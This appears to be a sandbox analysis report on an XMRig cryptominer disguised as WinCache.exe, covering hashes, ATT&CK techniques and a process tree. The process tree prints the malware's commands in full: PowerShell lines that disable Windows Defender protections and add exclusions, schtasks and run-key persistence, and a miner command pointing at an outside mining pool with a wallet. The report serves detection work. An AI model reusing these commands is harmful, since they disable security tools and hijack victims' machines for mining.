xmrig | 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792

Analysis

max time kernel
899s
max time network
897s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/08/2026, 12:10

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General

Target
WinCache.exe
Size 10.7MB
Sample260819-pcfbmsap4x
SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
MD5 77c1b815008321c67568b4390dd1432e
SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
TLSH
T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xmrig miner persistence trojan

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinCache.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinCache.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WinCache.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/1060-17-0x0000000140000000-0x000000014090D000-memory.dmp	xmrig
behavioral1/memory/1060-29-0x0000000140000000-0x000000014090D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5052	powershell.exe
4592	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4296	WinCache.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1352 set thread context of 1060	1352	WinCache.exe	100
PID 1352 set thread context of 3768	1352	WinCache.exe	101
PID 1352 set thread context of 2252	1352	WinCache.exe	102
PID 4296 set thread context of 4036	4296	WinCache.exe	103
PID 4296 set thread context of 3672	4296	WinCache.exe	104
PID 4296 set thread context of 5008	4296	WinCache.exe	105

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5004	schtasks.exe
748	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5052	powershell.exe
5052	powershell.exe
4592	powershell.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
4592	powershell.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
2252	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe
5008	wermgr.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeLockMemoryPrivilege	1060	wermgr.exe
Token: SeLockMemoryPrivilege	1060	wermgr.exe
Token: SeLockMemoryPrivilege	4036	wermgr.exe
Token: SeLockMemoryPrivilege	4036	wermgr.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1060	wermgr.exe
4036	wermgr.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 1076	1352	WinCache.exe	85
PID 1352 wrote to memory of 5004	1352	WinCache.exe	87
PID 1352 wrote to memory of 5052	1352	WinCache.exe	89
PID 4296 wrote to memory of 1420	4296	WinCache.exe	93
PID 4296 wrote to memory of 748	4296	WinCache.exe	96
PID 4296 wrote to memory of 4592	4296	WinCache.exe	98
PID 1352 wrote to memory of 1060	1352	WinCache.exe	100
PID 1352 wrote to memory of 1060	1352	WinCache.exe	100
PID 1352 wrote to memory of 3768	1352	WinCache.exe	101
PID 1352 wrote to memory of 3768	1352	WinCache.exe	101
PID 1352 wrote to memory of 2252	1352	WinCache.exe	102
PID 1352 wrote to memory of 2252	1352	WinCache.exe	102
PID 4296 wrote to memory of 4036	4296	WinCache.exe	103
PID 4296 wrote to memory of 4036	4296	WinCache.exe	103
PID 4296 wrote to memory of 3672	4296	WinCache.exe	104
PID 4296 wrote to memory of 3672	4296	WinCache.exe	104
PID 4296 wrote to memory of 5008	4296	WinCache.exe	105
PID 4296 wrote to memory of 5008	4296	WinCache.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WinCache.exe
"C:\Users\Admin\AppData\Local\Temp\WinCache.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Delete /TN "ShizoWorker" /F
  2⤵
  PID:1076
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1060
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 1060 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
  2⤵
  PID:3768
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 1060 3768
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2252

C:\ProgramData\WinCache\WinCache.exe
"C:\ProgramData\WinCache\WinCache.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Delete /TN "ShizoWorker" /F
  2⤵
  PID:1420
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4592
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4036
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 4036 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
  2⤵
  PID:3672
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 4036 3672
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5008

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

WinCache.exe

Path C:\ProgramData\WinCache\WinCache.exe
Size 10.7MB
SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
MD5 77c1b815008321c67568b4390dd1432e
SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
TLSH
T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 eed21266338053aaeebc480a694d50de79c592db25dab6bf59bb42ddc30b6d4d
MD5 36923ce194c3846acdb05e1d6035d43c
SHA1 77e4d8dcde87a2f2313d98eb5a36b3491f3a152c
SHA512 4dd9f428c26188d629f9f3cadc4e927afbe5a36aeee00177d7283ff8a29b84b290396d3bebd44d36ceb39e434960fd67f4f85877c5cfb78773a767ea8348634d
TLSH
T139114563F78C8920CC96563A509DAC5172B686CB81AFDF9F7FC0C210E1BF584CB61694
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_j1awvpe1.5vm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j1awvpe1.5vm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig.log

Path C:\Windows\Temp\xmrig.log
Size 1KB
SHA256 b2f68dc6c3930616ab5714cc4d71406912da41b0135cb17e4123bcef99d92d19
MD5 c4246bf25f4b9f63c7b82658c88b9c26
SHA1 31b9571f2c7109dc3ab041e0ddfe46e3d4a33e96
SHA512 ccb5ab2083df8465e73b8a9787edff8e4b6013f2673ffdfd029e0e83998ec16029745ee07bb615e1904680c0c36093778dbc37d523535595c4c58704ecf06b6c
TLSH
T1D241857104EE406D24F7C0A1B0395FB2F911E08942A78461F9CEA8885F6AC60BB0FD65
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1060-30-0x000002321FA70000-0x000002321FA90000-memory.dmp

Download

memory/1060-17-0x0000000140000000-0x000000014090D000-memory.dmp

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memory/1060-29-0x0000000140000000-0x000000014090D000-memory.dmp

Download

memory/1352-79-0x00007FF63BFE0000-0x00007FF63CA52000-memory.dmp

Download

memory/2252-78-0x0000000140000000-0x0000000140065000-memory.dmp

Download

memory/2252-58-0x0000000140000000-0x0000000140065000-memory.dmp

Download

memory/3768-50-0x0000000140000000-0x000000014006D000-memory.dmp

Download

memory/3768-31-0x0000000140000000-0x000000014006D000-memory.dmp

Download

memory/4296-138-0x00007FF7D0FF0000-0x00007FF7D1A62000-memory.dmp

Download

memory/5052-4-0x000002B8B0E10000-0x000002B8B0E20000-memory.dmp

Download

memory/5052-10-0x000002B8B0DB0000-0x000002B8B0DD2000-memory.dmp

Download

memory/5052-3-0x000002B8B0E10000-0x000002B8B0E20000-memory.dmp

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